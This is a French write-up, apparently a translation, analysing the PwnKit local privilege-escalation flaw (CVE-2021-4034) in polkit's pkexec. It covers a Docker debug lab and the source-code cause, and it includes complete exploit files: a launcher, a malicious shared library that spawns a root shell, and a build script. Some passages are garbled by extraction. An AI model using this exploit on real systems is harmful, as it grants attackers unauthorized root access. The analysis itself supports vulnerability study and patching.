
CVE-2021-4034 POC, Docker et analyse
[toc]
Identifiant de la vulnérabilité : CVE-2021-4034
Score de la vulnérabilité :
Produit concerné : linux PolKit (pkexec)
Versions affectées : toutes les versions de 2009 à aujourd'hui (actuellement 0.105) Référence : http://its.dlut.edu.cn/info/1054/78309.htm
Conditions d'exploitation : linux local ; pkexec est un fichier suid avec droit d'exécution
Obtention du code source : apt source policykit-1
ou https://launchpad.net/ubuntu/bionic/+package/policykit-1
Environnement docker : chenaotian/cve-2021-4034
J'ai monté moi-même ce docker, il fournit :
pkexec compilé moi-même, débogable au niveau du code sourceTout se trouve dans le répertoire /root/ :

su test puis l'exécuterDémarrage de docker :
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
Test de l'exp :
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
Le produit concerné par la vulnérabilité est la commande pkexec de polkit. pkexec, comme sudo, est un outil qui nous permet d'exécuter des commandes en tant qu'un autre utilisateur (généralement root). La commande dpkg permet de voir le paquet auquel appartient pkexec :
dpkg -S /usr/bin/pkexec

Ensuite, on récupère le paquet source (il est aussi présent dans mon docker), puis on compile à partir du paquet source une version débogable pour faciliter le débogage.
Le principe de déclenchement de la vulnérabilité est très simple
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
* 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //获取执行命令具体字符串
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
//该函数会根据PATH环境变量寻找要执行命令的绝对地址
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
}
··· ···
··· ···
Selon l'analyse de mes commentaires dans le code :
pkexec)-- est rencontré, il est considéré comme la commande à exécuter avec pkexec, et on sort de la boucle pour passer à la logique suivante.g_find_program_in_path est appelée pour rechercher le chemin absolu de la commande. Cette fonction cherche le chemin absolu de l'argument (commande) passé en utilisant la variable d'environnement PATH. Par exemple, si cat est passé, elle renvoie /bin/cat.C'est assez facile à comprendre, mais le problème est le suivant :
Lorsqu'un binaire Linux s'exécute, les arguments de ligne de commande argv[] et les variables d'environnement environ[] sont placés en bas de la pile, et argv[] et environ[] sont contigus. Le dernier élément de argv[] est null.

Si pkexec est lancé depuis la ligne de commande sans aucun autre argument, alors argv[0] vaut "pkexec" et argv[1] vaut \x00, aucun problème. Mais si pkexec est lancé via la fonction execve sans aucun autre argument, alors vaut , et pointe vers les variables d'environnement ! Lors de la lecture de , on lit .
Quel est alors l'impact ? Lors du lancement avec execve, sans aucun autre argument, la longueur de argv[] est 0, donc argv[1] correspond à environ[0]. La logique analysée ci-dessus devient alors : récupérer la valeur de la première variable d'environnement et rechercher son chemin absolu dans la variable PATH. S'il est trouvé, l'écrire dans la première variable d'environnement. La méthode d'exploitation est alors la suivante :
Tout d'abord, il faut préciser que pkexec est un fichier privilégié (suid) :

Comment utiliser les variables d'environnement dans un fichier privilégié pour faire quelque chose ? Commençons par comprendre un petit détail :
Le linker dynamique de Linux ld-linux-x86-64.so.2 supprime les variables d'environnement sensibles lors de l'exécution d'un programme privilégié :
Fonction _dl_non_dynamic_init : glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) //特权模式的情况下
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
//循环将危险环境变量列表中的环境变量全部清空(unset)
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
La liste des variables d'environnement dangereuses UNSECURE_ENVVARS est définie comme suit :
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
Lorsqu'il est détecté que le programme est un fichier privilégié (suid), ces variables d'environnement sont vidées. On peut voir que la grande majorité sont des variables de la famille LD_, qui ont la capacité de spécifier le chemin de chargement des bibliothèques dynamiques. Cela empêche un utilisateur à faibles privilèges d'amener un programme suid à charger des .so non fiables via ces variables d'environnement, ce qui provoquerait l'exécution de code malveillant et donc une élévation de privilèges.
Dans le scénario de cette vulnérabilité, nous avons une opportunité d'écrire une variable d'environnement arbitraire. Notre stratégie d'exploitation consiste à essayer de trouver quelque chose parmi les variables d'environnement ci-dessus qui ne pouvaient normalement pas être transmises au programme suid.
Le PoC étant déjà publié, la réponse est simple à voir ici. Je me suis référé au PoC d'arthepsy. Le contenu est très simple, mais ce PoC nous apprend que la variable d'environnement clé pour l'exploitation est GCONV_PATH. Elle fait effectivement partie de la liste des variables d'environnement dangereuses ci-dessus, et c'est même la première !
À propos de GCONV_PATH et de la fonction iconv_open() :
La fonction
iconv_open()demande un descripteur de conversion qui convertit une séquence de caractères de l'encodagefromcodevers l'encodagetcode; le descripteur de conversion contient l'état de la conversion. La fonctioniconv_open()trouve d'abord le fichiergconv-modulesfourni par le système, qui contient les chemins où sont stockées les informations relatives à chaque jeu de caractères ; les informations de chaque jeu de caractères sont stockées dans un fichier .so. Ensuite, selon les indications du fichiergconv-modules, elle lie le fichier .so correspondant à l'argument pour effectuer l'opération spécifique. Si la variable d'environnementGCONV_PATHexiste, la fonctioniconv_open()trouve le fichiergconv-modulesen suivantGCONV_PATH, le reste de l'opération étant inchangé.
En d'autres termes, la variable d'environnement GCONV_PATH a ici une fonction équivalente à LD_LIBRARY_PATH. Elle peut spécifier les fichiers de bibliothèques .so que la fonction iconv_open() recherche. Si nous pouvons falsifier GCONV_PATH, puis falsifier gconv-modules, et enfin falsifier un .so, nous pouvons réaliser le chargement arbitraire de .so et l'exécution de code arbitraire.
L'idée générale est la suivante :
Créer un répertoire nommé GCONV_PATH=.
Dans le répertoire GCONV_PATH=., créer un fichier nommé pwnkitdir avec le droit x
Créer un répertoire nommé pwnkitdir
Dans le répertoire pwnkit, créer le fichier gconv-modules et y écrire le contenu suivant selon le format :
module UTF-8// PWNKIT// pwnkit 1
Dans le répertoire pwnkit, placer le .so malveillant pwnkit.so qui contient le code pour obtenir un shell.
Définir les variables d'environnement associées
pwnkitdirPATH=GCONV_PATH=. : ainsi le chemin composé par la fonction g_find_program_in_path est , qui correspond exactement au format d'une variable d'environnement ; de plus, le répertoire existe et le fichier existe aussi.Et c'est réussi. L'exp concrète est la suivante :
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
Exploitation réussie :

Mettre à niveau vers la dernière version
Divulgation de la vulnérabilité : https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
PoC d'arthepsy : https://github.com/arthepsy/CVE-2021-4034
argv[0]\x00argv[1]argv[1]environ[0]Lors d'un lancement direct de pkexec depuis la ligne de commande, argc vaut 1 et argv[0] est le chemin de pkexec :

Avec la fonction execve pour lancer pkexec, argc vaut 0 :

GCONV_PATH=./pwnkitdir./pwnkitdirGCONV_PATH=./pwnkitdirCHARSET=PWNKIT, utilisée dans le chemin d'exécution avant d'atteindre iconv_open, pour rechercher le .so dans gconv-modulesSHELL=xxx , utilisée dans le chemin d'exécution avant d'atteindre iconv_openLancer pkexec via execve avec des arguments vides et les variables d'environnement définies ci-dessus